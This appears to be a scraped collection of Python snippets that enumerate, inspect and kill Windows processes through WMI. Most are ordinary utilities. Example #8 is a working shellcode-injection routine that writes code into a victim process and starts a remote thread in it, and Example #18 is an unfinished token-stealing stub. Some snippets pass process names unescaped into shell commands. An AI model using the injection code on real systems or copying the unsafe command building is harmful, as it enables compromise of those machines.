class ProcessPC:
    # se crea el objeto para acceder al  Windows Management Instrumentation
    def __init__(self):
        pythoncom.CoInitialize()
        self.wmi = GetObject(r'winmgmts:')

    @property
    def CPU(self):
        #SE GENERA UNA INSTACIA DE WMI
        cpu_class = self.wmi.InstancesOf('Win32_Processor')
        for cpu in cpu_class:
            return {
                'Nombre': cpu.Name,
                'Nucleos': f'Nucleos: {cpu.NumberOfEnabledCore}',
                'Hilos': f'Hilos: {cpu.NumberOfLogicalProcessors}',
                'Porcentaje': cpu.LoadPercentage
            }

    @property
    def PROCESS_ACTIVE(self):
        process_active_class = self.wmi.InstancesOf('Win32_Process')
        list_services = []
        listnameservicestemp = []
        for process in process_active_class:
            if process.Caption not in listnameservicestemp:
                listnameservicestemp.append(process.Caption)
                list_services.append({
                    'NAMEPROCESS': process.Caption,
                    'PID': process.Processid,
                })
        return list_services
class  DetectProcess: #(threading.Thread):
    # -----  DATA  -----    ###ME'APES DATA
    physical_device_object_name = None
    process_name = None
    process_id = -1
    status = ""

    # constructor
    #def __init__(self):
        #threading.Thread.__init__(self)

    # the main thread function
    def run(self):
            try:
                print 'Search video device. Please wait..'
                self.wmi = GetObject('winmgmts:')
                self.get_physical_device_object_name()
                # 2 -- Camera connected but not in use  1 -- Camera is on   0 -- Disconnected
                if not self.physical_device_object_name:  #if device not connected
                    self.status = '0'  #return 0
                    return
                processes = self.wmi.InstancesOf('Win32_Process')
                for process in processes:  ##for every process:
                    handlers = self.get_handlers(process.Properties_('Name').Value) ##finds handlers
                    if handlers.find(self.physical_device_object_name) > -1: ##checks if any are the webcam
                        self.process_name = process.Properties_('Name').Value ##if do save process name
                        self.process_id = process.Properties_('ProcessId').Value ##save process id
                        break
                self.status = '1' if self.process_name else '2' ##if the camera is connected but not in a process save status = 2
            except Exception as detail:
                print 'run-time error : ', detail

    def get_handlers( self, processName):##returns handelers for process
         return os.popen(HANDLE_EXE_PATH + " -a -p " + processName).read()

    def get_physical_device_object_name(self): ##finds physical device name for camera (USB video device)
        video_name = None
        for serial in self.wmi.InstancesOf("Win32_PnPSignedDriver"):
            #print (serial.Name, serial.Description)
            if serial.Description and DEVICE_NAME in serial.Description:
                video_name = serial.Description
                break

        if video_name:
            self.physical_device_object_name = os.popen("wmic path Win32_PnPSignedDriver where \"devicename like '" + video_name + "'\" get pdo").read()
            self.physical_device_object_name = self.physical_device_object_name.split('\r\n')[1]
            self.physical_device_object_name = self.physical_device_object_name.strip(' ')
        else:
            self.physical_device_object_name = None
def getProcessList():
    WMI = GetObject('winmgmts:')
    processes = WMI.InstancesOf('Win32_Process')
    pslist = list()
    for process in processes:
        pslist.append(process.Properties_('Name').Value)
    return pslist
Example #4
0
def getProcessesList():
    PROCESSES_LIST_ = []
    getObj_ = GetObject('winmgmts:')
    processes_ = getObj_.InstancesOf('Win32_Process')
    for ps_ in processes_:
        PROCESSES_LIST_.append(ps_.Properties_('Name').Value)
    return PROCESSES_LIST_
Example #5
0
def get_winlogon_pid():
    WMI = GetObject('winmgmts:')
    processes = WMI.InstancesOf('Win32_Process')
    for process in processes:
        if process.Properties_('name').Value == "winlogon.exe":
            winlogon = process.Properties_('processid').Value
    return winlogon
Example #6
0
def kill_scdaemon():
    killed = False
    try:
        # Works for Windows.
        from win32com.client import GetObject
        from win32api import OpenProcess, CloseHandle, TerminateProcess

        wmi = GetObject("winmgmts:")
        ps = wmi.InstancesOf("Win32_Process")
        for p in ps:
            if p.Properties_("Name").Value == "scdaemon.exe":
                pid = p.Properties_("ProcessID").Value
                handle = OpenProcess(1, False, pid)
                TerminateProcess(handle, -1)
                CloseHandle(handle)
                killed = True
    except ImportError:
        # Works for Linux and OS X.
        return_code = subprocess.call(["/usr/bin/pkill", "-9",
                                       "scdaemon"])  # nosec
        if return_code == 0:
            killed = True
    if killed:
        sleep(0.1)
    return killed
Example #7
0
def findRunningGpgDecrypts():
    """ Find other running gpg-decrypt processes """
    result = []
    if os.name == "posix":
        args = ["ps", "-eo", "pid,comm", "--no-headers"]
        ps = subprocess.Popen(args=args,
                              bufsize=-1,
                              stdin=subprocess.PIPE,
                              stdout=subprocess.PIPE,
                              stderr=subprocess.PIPE,
                              universal_newlines=True)
        for line in ps.stdout.readlines():
            splitline = line.split()
            if len(splitline) > 1 and splitline[1] == "gpg-decrypt":
                result.append(int(splitline[0]))
        ps.stdin.close()
        ps.stdout.close()
        ps.stderr.close()
    elif os.name == "nt":
        from win32com.client import GetObject
        WMI = GetObject("winmgmts:")
        procs = WMI.InstancesOf('Win32_Process')
        for p in procs:
            if "gpg-decrypt" in p.Property_('Name').Value:
                result.append(int(p.Property_('ProcessID').Value))
    return result
Example #8
0
def inject_shellcode_into_process(shellcode, victim_process):
    pid = 0
    WMI = GetObject('winmgmts:')
    processes = WMI.InstancesOf('Win32_Process')
    for p in processes:
        if p.Properties_("Name").Value == victim_process:
            pid = p.Properties_("ProcessID").Value

    if not pid:
        raise Exception(f"Couldn't find {victim_process} in process list")
    print(f"[+] Found {victim_process} pid: {pid}")
    hSystemProcess = kernel32.OpenProcess(0x1F0FFF, False, pid)
    if not hSystemProcess:
        raise Exception(
            f"Couldn't OpenProcess: {str(kernel32.GetLastError())}")
    hShellcode = kernel32.VirtualAllocEx(hSystemProcess, None, len(shellcode),
                                         0x1000 | 0x2000, 0x40)
    if not hShellcode:
        raise Exception(
            f"Couldn't VirtualAllocEx memory: {str(kernel32.GetLastError())}")
    success = kernel32.WriteProcessMemory(hSystemProcess, hShellcode,
                                          shellcode, len(shellcode), None)
    if not success:
        raise Exception(
            f"Couldn't WriteProcessMemory: {str(kernel32.GetLastError())}")
    success = kernel32.CreateRemoteThread(hSystemProcess, None, 0, hShellcode,
                                          0, 0, None)
    if not success:
        raise Exception(
            f"Couldn't WriteProcessMemory: {str(kernel32.GetLastError())}")
    print(
        f"[+] Created remote thread in {victim_process} containing shellcode")
Example #9
0
def kill_cmd():
    WMI = GetObject('winmgmts:')
    processes = WMI.InstancesOf('Win32_Process')

    for p in WMI.ExecQuery('select * from Win32_Process where Name="cmd.exe"'):
        #print ("Killing PID:", p.Properties_('ProcessId').Value)
        print(str(p.Properties_('ProcessId').Value))
        os.system("taskkill  "+str(p.Properties_('ProcessId').Value)+" /f")
Example #10
0
def get_process_id(process_name):
	WMI = GetObject('winmgmts:')
	processes = WMI.InstancesOf('Win32_Process')
	pid = WMI.ExecQuery('select * from Win32_Process where Name="' + process_name + '"')
	os_app = pywinauto.application.Application()	
	os_app.connect(process=pid[0].Properties_('ProcessId').Value)
	#os_app.DialogWrapper.OK.click()
	return pid[0].Properties_('ProcessId').Value
    def get_processes_dict(self):
        """
        returns a dictionary that contains all the processes PIDs as keys and names as values.
        :return: processes dictionary as described above.
        """

        try:
            # Getting all processes name
            z, proc_name = win32pdh.EnumObjectItems(None, None, self.process_obj, win32pdh.PERF_DETAIL_WIZARD)# PERF_DETAIL_WIZARD = 400
            instances = {}
            for instance in proc_name:
                if instance in instances:
                    instances[instance] += 1
                else:
                    instances[instance] = 1
            proc_pid_name = {}
            for instance, max_instances in instances.items():
                for inum in xrange(max_instances + 1):
                    try:
                        hq = win32pdh.OpenQuery()  # initializes the query handle
                        path = win32pdh.MakeCounterPath((None, self.process_obj, instance, None, inum, self.item))
                        counter_handle = win32pdh.AddCounter(hq, path)  # convert counter path to counter handle
                        win32pdh.CollectQueryData(hq)  # collects data for the counter
                        type, val = win32pdh.GetFormattedCounterValue(counter_handle, win32pdh.PDH_FMT_LONG)

                        proc_pid_name[val] = [instance]

                        win32pdh.CloseQuery(hq)
                    except:
                        raise OSError("Problem getting process id")

            return proc_pid_name

        except:
            try:
                from win32com.client import GetObject
                WMI = GetObject('winmgmts:')  # COM object
                proc_instances = WMI.InstancesOf('Win32_Process')  # WMI instanse

                proc_name = [process.Properties_('Name').Value for process in
                             proc_instances]  # Get the processess names

                proc_id = [process.Properties_('ProcessId').Value for process in
                           proc_instances]  # Get the processess names

                proc_pid_name = {}

                proc_id_counter = 0
                for instance in range(len(proc_name)):
                    proc_pid_name[proc_id[instance]] = [(proc_name[instance])]
                    proc_id_counter += 1

                return proc_pid_name

            except:
                raise OSError('Counldnt get the process list')
Example #12
0
def getCPUInfo():
    """Sets the total numbers of processors, the number of loaded and free processors on the host 
    machine or on the different nodes of a cluster.
    """

    cpuInfo = None

    # Pyro server in cluster mode implemented only for linux platform.
    if PLATFORM == 'LINUX':
        nProcs = file('/proc/cpuinfo', 'r').read().count('processor\t:')

        nLoadedProcs = min(nProcs, int(os.getloadavg()[1] + 0.5))
        nFreeProcs = max(0, nProcs - nLoadedProcs)

    elif PLATFORM == 'DARWIN':
        try:
            nProcs = int(
                subprocess.Popen(['/usr/sbin/sysctl', '-n', 'hw.ncpu'],
                                 stdout=subprocess.PIPE).stdout.read())
        except:
            nProcs = 1

        nLoadedProcs = min(nProcs, int(os.getloadavg()[1] + 0.5))
        nFreeProcs = max(0, nProcs - nLoadedProcs)
        hostname = subprocess.Popen(['/bin/hostname'],
                                    stdout=subprocess.PIPE).stdout.read()

    elif PLATFORM == 'WINDOWS':
        try:
            from win32com.client import GetObject

            nProcs = 0
            loadAvg = 0.0

            wmi = GetObject('winmgmts:')
            cpu = wmi.InstancesOf('Win32_Processor')
            for c in cpu:
                nProcs += c.Properties_('NumberOfCores').Value
                loadAvg += c.Properties_('LoadPercentage').Value
            loadAvg /= nProcs

            nLoadedProcs = int(nProcs * loadAvg / 100.0)
            nFreeProcs = max(0, nProcs - nLoadedProcs)

        except:
            LogMessage(
                'warning',
                'You do not have the priviledge to perform win32 calls.\n\
nMOLDYN can not define the actual number of loaded processors.',
                ['gui', 'console'])
            nProcs = nFreeProcs = int(os.environ['NUMBER_OF_PROCESSORS'])
            nLoadedProcs = 0

    cpuInfo = (nProcs, nLoadedProcs, nFreeProcs)

    return cpuInfo
Example #13
0
def process_exists(pid, os="linux"):
    if os=="linux":
        output, error = biox.utils.cmd("ps -p %s" % pid)
        output = output.split("\n")
        return len(output)>=3
    if os=="windows":
        from win32com.client import GetObject
        WMI = GetObject('winmgmts:')
        processes = WMI.InstancesOf('Win32_Process')
        plist = [process.Properties_('ProcessID').Value for process in processes]
        return pid in plist
Example #14
0
    def __init__(self, processName):
        self.PID = 0
        self.PROCESS = None

        wmi = GetObject('winmgmts:')
        for p in wmi.InstancesOf('win32_process'):
            if p.Name == processName:
                self.PID = int(p.Properties_('ProcessId'))

        if self.PID == 0:
            raise Exception("Couldn't find process \"%s\"" % (processName))

        self.PROCESS = win32api.OpenProcess(0x1F0FFF, 0, self.PID)
        self.handle = self.PROCESS.handle
Example #15
0
def list_current_processes():
    """Returns a list of executable paths to currently active processes.

    :return list of active process executable paths
    """
    from win32com.client import GetObject
    wmi = GetObject('winmgmts:')
    processes = wmi.InstancesOf("Win32_Process")
    process_list = []
    for entry in processes:
        executable = entry.Properties_("ExecutablePath").Value
        if executable is not None:
            process_list.append(
                os.path.normpath(executable).replace("\\", "/"))
    return sorted(set(process_list))
Example #16
0
    def killProcess(self, processname):
        from win32com.client import GetObject
        WMI = GetObject('winmgmts:')
        processes = WMI.InstancesOf('Win32_Process')
        process_list = [(p.Properties_("ProcessID").Value,
                         p.Properties_("Name").Value) for p in processes]

        for pr in process_list:
            if pr[1] == processname:
                handle = win32api.OpenProcess(win32con.PROCESS_TERMINATE, 0,
                                              pr[0])
                win32api.TerminateProcess(handle, 0)
                win32api.CloseHandle(handle)

        print "killed %s" % processname
Example #17
0
    def _set_pid(self):

        WMI = GetObject('winmgmts:')
        processes = WMI.InstancesOf('Win32_Process')
        spelunky_candidates = list(
            filter(
                lambda x: x[1].lower() == 'spelunky.exe',
                map(
                    lambda p: (p.Properties_('ProcessID').Value,
                               p.Properties_('Name').Value), processes)))

        if len(spelunky_candidates) == 0:
            raise RuntimeError('No active Spelunky process found.')
        if len(spelunky_candidates) > 1:
            raise RuntimeError('More than one active Spelunky process found.')
        else:
            self.pid = spelunky_candidates[0][0]
Example #18
0
def steal_process_token_and_spawn(victim_process, new_process):
    print("[-] work in progress method, do not use. Exiting.")
    exit(-1)
    # TODO, not working. DON'T USE.
    pid = 0
    WMI = GetObject('winmgmts:')
    processes = WMI.InstancesOf('Win32_Process')
    for p in processes:
        if p.Properties_("Name").Value == victim_process:
            pid = p.Properties_("ProcessID").Value

    print(f"[+] Found {victim_process} pid: {pid}")
    hSystemProcess = win32api.OpenProcess(0x1F0FFF, False, pid)
    hToken = win32security.OpenProcessToken(
        hSystemProcess, win32con.TOKEN_QUERY | win32con.TOKEN_DUPLICATE)
    # fails here when not admin regardless of token privileges of the current process
    # even with all Se privs, presumably because the current process' DACL is checked during OpenProcessToken
    print(f"[+] Opened handle to {victim_process} token")
    print(hToken)